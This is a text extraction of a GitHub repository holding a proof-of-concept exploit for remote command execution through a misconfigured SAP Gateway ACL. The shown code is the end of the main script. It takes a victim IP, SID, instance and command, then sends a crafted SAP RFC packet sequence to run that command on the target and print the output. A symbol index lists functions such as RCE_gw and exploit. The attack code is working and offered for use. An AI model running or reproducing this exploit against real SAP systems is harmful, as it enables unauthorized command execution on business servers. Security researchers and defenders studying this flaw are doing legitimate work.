    parser.add_argument('-t', '--ip', default='172.16.30.118', help='AS victim IP (default: 172.16.30.118)')
    parser.add_argument('-p', '--port', default=3300, type=int, help='SAP gateway port (default: 3300)')
    parser.add_argument('-s', '--sid', default='CL1', help='SAP victim SID (default: CL1)')
    parser.add_argument('-I', '--instance', default='00', help='SAP victim targeted instance (default: 00)')
    parser.add_argument('-c', '--cmd', default='whoami', help='Command that be executed')
    parser.add_argument('-d', '--debug', action='store_true', help='Show debug info')
    parser.add_argument('-q', '--quiet', action='store_true', help='Don\'t show any info messages')

    args = parser.parse_args()
    prog = 'anonGW2'
    if args.quiet:
        logger = init_logger(prog, logging.NOTSET)
    elif args.debug:
        logger = init_logger(prog, logging.DEBUG)
    else:
        logger = init_logger(prog, logging.INFO)

    # setup our target

    attacked_gw['ip'] = args.ip
    attacked_gw['port'] = args.port
    attacked_gw['sid'] = args.sid
    attacked_gw['instance'] = args.instance
    cmd = args.cmd.split()[0]
    cmd_params = args.cmd[len(cmd) + 1:]


    conf.L3Socket = StreamSocket
    bind_layers(TCP, SAPNI)
    bind_layers(SAPNI, SAPRFC)

    # 1 - send GW_NORMAL_CLIENT
    s = gw_connect(attacked_gw['ip'], attacked_gw['port'], build_p1(attacked_gw['ip'], attacked_gw['instance']))

    # 2 - send F_SAP_INIT
    logger.info("[+] Sending F_SAP_INIT")
    r = s.sr(build_p2())
    handle_resp(r, "F_SAP_INIT")
    conv_id = r['SAPRFC'].conv_id
    logger.debug('Got conv_id = {}'.format(conv_id))

    # 3 - send F_SAP_SEND
    logger.info("[+] Sending F_SAP_SEND")
    r = s.sr(buld_p3(conv_id))
    #handle_resp(r, "F_SAP_SEND")

    # 4 - send F_SAP_SEND2
    logger.info("[+] Sending F_SAP_SEND2")
    r = s.sr(buld_p4(conv_id))
    #handle_resp(r, "F_SAP_SEND2")

    # 5 - print result
    print parce_answer(r)

================================================
FILE: requirements.txt
================================================
pysap
ansicolor
Download .txt
gitextract_1hwueb_5/

├── COPYING
├── README.md
├── SAPanonGWv1.py
├── SAPanonGWv2.py
└── requirements.txt
Download .txt
SYMBOL INDEX (21 symbols across 2 files)

FILE: SAPanonGWv1.py
  function parse_args (line 13) | def parse_args():
  function convert_ip (line 28) | def convert_ip(ip_1, ch):
  function iptohex (line 34) | def iptohex(ip):
  function net_get_ip (line 46) | def net_get_ip():
  function run_cmd (line 74) | def run_cmd():  # execute cmd on the victim server
  function RCE_gw (line 81) | def RCE_gw():  # RCE via GW
  function RCE_gw_for_old_sustems (line 92) | def RCE_gw_for_old_sustems():  # RCE via GW for old systems ~640
  function exploit (line 101) | def exploit(cmd, param):  # create RCE request
  function trim_r (line 116) | def trim_r(str):  # trim a trash form the server response
  function send_req (line 133) | def send_req(s, message):  # send requests
  function space_fill (line 142) | def space_fill(inpt, what):  # fill packets by \x20

FILE: SAPanonGWv2.py
  function build_p1 (line 42) | def build_p1(ip, inbr):
  function build_p2 (line 58) | def build_p2():
  function buld_p3 (line 119) | def buld_p3(conv_id):
  function buld_p4 (line 361) | def buld_p4(conv_id):
  function print_error (line 482) | def print_error(error_msg):
  function gw_connect (line 499) | def gw_connect(gwhost, gwport, init_packet):
  function init_logger (line 511) | def init_logger(logname, level):
  function handle_resp (line 524) | def handle_resp(r, pkt):
  function parse_fields (line 532) | def parse_fields(pkt, lines):
  function parce_answer (line 544) | def parce_answer(r):
Condensed preview — 5 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (66K chars).
[
  {
    "path": "COPYING",
    "chars": 17991,
    "preview": "\t\t    GNU GENERAL PUBLIC LICENSE\n\t\t       Version 2, June 1991\n\n Copyright (C) 1989, 1991 Free Software Foundation, Inc."
  },
  {
    "path": "README.md",
    "chars": 1735,
    "preview": "## What is it?\n\nThis PoC exploits an ACL misconfiguration in the SAP Gateway (port\n33xx) that leads to a Remote Command "
  },
  {
    "path": "SAPanonGWv1.py",
    "chars": 19025,
    "preview": "#!/usr/bin/env python\n\n# Dmitry @_chipik Chastuhin\n\n# tested on SAP 700 sp5 <= BASIS <= SAP 731 SP 04\n# exploit for SAP "
  },
  {
    "path": "SAPanonGWv2.py",
    "chars": 21331,
    "preview": "\n#!/usr/bin/env python\n# Dmitry @_chipik Chastuhin\n\nfrom pysap.SAPRFC import SAPRFC, SAPRFCDTStruct, SAPCPIC, SAPRFCTHSt"
  },
  {
    "path": "requirements.txt",
    "chars": 15,
    "preview": "pysap\nansicolor"
  }
]

About this extraction

This page contains the full source code of the chipik/SAP_GW_RCE_exploit GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 5 files (58.7 KB), approximately 20.2k tokens, and a symbol index with 21 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.

Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.

Copied to clipboard!